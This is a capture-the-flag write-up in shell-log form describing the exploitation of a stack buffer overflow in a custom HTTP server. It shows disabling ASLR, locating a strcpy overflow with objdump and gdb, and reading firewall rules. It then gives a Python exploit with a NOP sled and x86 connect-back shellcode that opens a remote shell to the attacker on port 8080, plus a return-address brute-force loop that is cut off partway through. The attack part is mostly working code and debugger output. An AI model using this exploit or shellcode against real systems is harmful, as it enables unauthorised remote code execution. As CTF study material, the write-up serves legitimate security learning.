___ ___ ___ ___ ___ ___ /\__\ /\ \ ___ /\ \ /\ \ /\__\ /\ \ /:/ _/_ /::\ \ /\ \ \:\ \ /::\ \ /:/ / /::\ \ /:/ /\__\ /:/\:\ \ \:\ \ \:\ \ /:/\:\ \ /:/ / /:/\:\ \ /:/ /:/ _/_ /::\~\:\ \ /::\__\ /::\ \ /::\~\:\ \ /:/ / ___ /::\~\:\ \ /:/_/:/ /\__\ /:/\:\ \:\__\ __/:/\/__/ /:/\:\__\ /:/\:\ \:\__\ /:/__/ /\__\ /:/\:\ \:\__\ \:\/:/ /:/ / \/_|::\/:/ / /\/:/ / /:/ \/__/ \:\~\:\ \/__/ \:\ \ /:/ / \/__\:\/:/ / \::/_/:/ / |:|::/ / \::/__/ /:/ / \:\ \:\__\ \:\ /:/ / \::/ / \:\/:/ / |:|\/__/ \:\__\ \/__/ \:\ \/__/ \:\/:/ / \/__/ \::/ / |:| | \/__/ \:\__\ \::/ / \/__/ \|__| \/__/ \/__/ =============================================== 2010-10 =============================================== === first, download server jonathan@ArchLinux [resolv] $ wget http://shell-storm.org:85/serv_httpd.tar.gz --2010-10-01 11:49:23-- http://shell-storm.org:85/serv_httpd.tar.gz Resolving shell-storm.org... 82.243.29.135 Connecting to shell-storm.org|82.243.29.135|:85... connected. HTTP request sent, awaiting response... 200 OK bitch Length: 17341 (17K) [application/octet-stream] Saving to: "serv_httpd.tar.gz" 100%[==========================================================================================>] 17,341 --.-K/s in 0.006s 2010-10-01 11:49:23 (2.59 MB/s) - "serv_httpd.tar.gz" saved [17341/17341] === decompress it jonathan@ArchLinux [resolv] $ tar -xf serv_httpd.tar.gz jonathan@ArchLinux [resolv] $ ls html serv_httpd serv_httpd.tar.gz var www jonathan@ArchLinux [resolv] $ cd www/ jonathan@ArchLinux [www] $ ls cgi-bin error htdocs jonathan@ArchLinux [www] $ cd htdocs/ jonathan@ArchLinux [htdocs] $ ls index.html serv_httpd.tar.gz <== racine web / jonathan@ArchLinux [resolv] $ ./serv_httpd bind: Permission denied jonathan@ArchLinux [resolv] $ su - Password: === Ok, I disable ASLR root@ArchLinux [resolv]# echo 0 > /proc/sys/kernel/randomize_va_space === and run the server root@ArchLinux [resolv]# ./serv_httpd === I test it root@ArchLinux [resolv]# wget http://localhost:85/ --2010-10-01 11:59:11-- http://localhost:85/ Resolving localhost... 127.0.0.1 Connecting to localhost|127.0.0.1|:85... connected. HTTP request sent, awaiting response... 200 OK bitch Length: 1882 (1.8K) [text/html] Saving to: "index.html.1" 100%[==========================================================================================>] 1,882 --.-K/s in 0s 2010-10-01 11:59:11 (90.8 MB/s) - "index.html.1" saved [1882/1882] root@ArchLinux [resolv]# === Ok server wokrs correctly === I kill it, and run with gdb :) root@ArchLinux [resolv]# ps ax [...] 17740 pts/1 S 0:00 -bash 17752 pts/1 S 0:00 ./serv_httpd 17848 tty1 Z 0:00 [play] 17884 pts/1 R+ 0:00 ps ax [...] root@ArchLinux [resolv]# kill 17740 === I search a potential vulnerability root@ArchLinux [resolv]# objdump -d serv_httpd | grep strcpy 08048c14 : 8049257: e8 b8 f9 ff ff call 8048c14 root@ArchLinux [resolv]# === display section where is strcpy. 804923f: c9 leave 8049240: c3 ret 8049241: 90 nop 8049242: 90 nop 8049243: 90 nop 8049244: 55 push %ebp <- prologue 8049245: 89 e5 mov %esp,%ebp <- prologue 8049247: 83 ec 28 sub $0x28,%esp <- allocates 40 bytes 804924a: 8b 45 08 mov 0x8(%ebp),%eax 804924d: 89 44 24 04 mov %eax,0x4(%esp) 8049251: 8d 45 e0 lea -0x20(%ebp),%eax <- char x[32] 8049254: 89 04 24 mov %eax,(%esp) 8049257: e8 b8 f9 ff ff call 8048c14 <- call strcpy 804925c: b8 00 00 00 00 mov $0x0,%eax 8049261: c9 leave <- epilogue 8049262: c3 ret <- epilogue === so, if it's correct, the forks child segfault with === when the function is called? root@ArchLinux [resolv]# objdump -d serv_httpd | grep 8049244 8049244: 55 push %ebp 8049358: e8 e7 fe ff ff call 8049244 root@ArchLinux [resolv]# === display section 0x8049358 8049352: 8b 45 e8 mov -0x18(%ebp),%eax <- mov var in eax 8049355: 89 04 24 mov %eax,(%esp) <- mov eax on esp 8049358: e8 e7 fe ff ff call 8049244 <- call 0x8049244 with var 804935d: c7 44 24 04 63 a6 04 movl $0x804a663,0x4(%esp) 8049364: 08 8049365: 8b 45 e8 mov -0x18(%ebp),%eax <- mov var in eax 8049368: 89 04 24 mov %eax,(%esp) <- mov eax in esp 804936b: e8 d4 f9 ff ff call 8048d44 <- call strcmp with var 8049370: 85 c0 test %eax,%eax === I breakpoint with gdb addr 0x08049352 for know what is in eax befor call the vuln fonction (gdb) set follow-fork-mode child (gdb) b *0x8049355 Breakpoint 1 at 0x8049355 (gdb) r Starting program: /home/jonathan/tmp/chall/resolv/serv_httpd [Thread debugging using libthread_db enabled] [New process 18071] [Thread debugging using libthread_db enabled] [New Thread 0xb7e49b70 (LWP 18073)] [New process 18074] [Thread debugging using libthread_db enabled] [Switching to Thread 0xb7e49b70 (LWP 18074)] Breakpoint 1, 0x08049355 in ?? () (gdb) i r eax 0xb7e48b58 -1209758888 ecx 0x2020 8224 edx 0x20202020 538976288 ebx 0xb7e4892c -1209759444 esp 0xb7e48894 0xb7e48894 ebp 0xb7e49378 0xb7e49378 esi 0xb7e49b70 -1209754768 edi 0xb7e48958 -1209759400 eip 0x8049355 0x8049355 eflags 0x286 [ PF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/s $eax 0xb7e48b58: "GET" (gdb) === My variable, content GET instruction. === Ok cool, now I know where is the vulnerability. The vulnerability is in request commande. === So, if I set request "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /index.html HTTP/1.1" the child segfault. === Now see the iptables.rules - Chain INPUT (policy DROP) <- Ok, so bind don't wokrs - Chain OUTPUT (policy DROP) ACCEPT tcp -- anywhere anywhere tcp dpt:mit-ml-dev flags:FIN,SYN,RST,ACK/SYN ACCEPT tcp -- anywhere anywhere tcp dpt:http-alt ACCEPT tcp -- anywhere anywhere tcp spt:mit-ml-dev ACCEPT tcp -- anywhere anywhere tcp spt:http-alt mit-ml-dev = port 85 http-alt = port 8080 === I need to use connectback to port 8080 === write sploit. root@ArchLinux [resolv]# cat exploit.py import httplib con = httplib.HTTPConnection("192.168.0.3", 85) # my local ip str1 = 'a'*32 # padding str2 = 'bbbb' # ebp str3 = 'cccc' # eip nop = '\x90'*128 # nop # nc -l -vvv -p 8080 # Connect back in my-ip on 8080 back = ('\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1' '\xb0\x66\xcd\x80\x5b\x5e\x68\x52\xf3\x1d\x87' '\x66\x68\x1f\x90\x66\x53\x6a\x10\x51\x50\x89' '\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0' '\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73' '\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89' '\xe1\xb0\x0b\xcd\x80') evil = str1 + str2 + str3 + nop + back con.request(evil, 'index.html') try: response = con.getresponse() data = response.read() con.close() print data except: print "Rooted or error connection" === Now run gdb for know the nop addr (gdb) set follow-fork-mode child (gdb) r Starting program: /home/jonathan/tmp/chall/resolv/serv_httpd [Thread debugging using libthread_db enabled] [New process 18173] [Thread debugging using libthread_db enabled] [New Thread 0xb7e49b70 (LWP 18175)] [New process 18176] [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7e49b70 (LWP 18176)] 0x63636363 in ?? () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0xb7e48c48 -1209758648 ebx 0xb7e4892c -1209759444 esp 0xb7e48894 0xb7e48894 ebp 0x62626262 0x62626262 esi 0xb7e49b70 -1209754768 edi 0xb7e48958 -1209759400 eip 0x63636363 0x63636363 eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/64x $esp 0xb7e48894: 0x90909090 0x90909090 0x90909090 0x90909090 0xb7e488a4: 0x90909090 0x90909090 0x90909090 0x90909090 0xb7e488b4: 0x90909090 0x90909090 0x90909090 0x90909090 0xb7e488c4: 0x90909090 0x90909090 0x90909090 0x90909090 0xb7e488d4: 0x90909090 0x90909090 0x90909090 0x90909090 0xb7e488e4: 0x90909090 0x90909090 0x90909090 0x90909090 0xb7e488f4: 0x90909090 0x90909090 0x90909090 0x90909090 0xb7e48904: 0x90909090 0x90909090 0x90909090 0x90909090 0xb7e48914: 0xe3f7db31 0x6a534353 0xb0e18902 0x5b80cd66 0xb7e48924: 0xf352685e 0x6866871d 0x5366901f 0x5051106a 0xb7e48934: 0x6a43e189 0x80cd5866 0xb0d98759 0x4980cd3f 0xb7e48944: 0x6850f979 0x68732f2f 0x69622f68 0x50e3896e 0xb7e48954: 0xb0e18953 0x0080cd0b 0x00000000 0x00000000 0xb7e48964: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7e48974: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7e48984: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) c Continuing. Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists. (gdb) === now I know nop address, is 0xb7e488d4 but isn't the same in real server, so I brutforce it. And I test in real server CTF root@ArchLinux [exploit]# cat exploit.py import httplib from struct import pack,unpack str1 = 'a'*32 # padding ebp = 'bbbb' # ebp nop = '\x90'*128 # nop eip = 0xb7e488d4 # eip back = ('\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1' '\xb0\x66\xcd\x80\x5b\x5e\x68\x52\xf3\x1d\x87' '\x66\x68\x1f\x90\x66\x53\x6a\x10\x51\x50\x89' '\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0' '\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73' '\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89' '\xe1\xb0\x0b\xcd\x80') while True: eip2 = pack('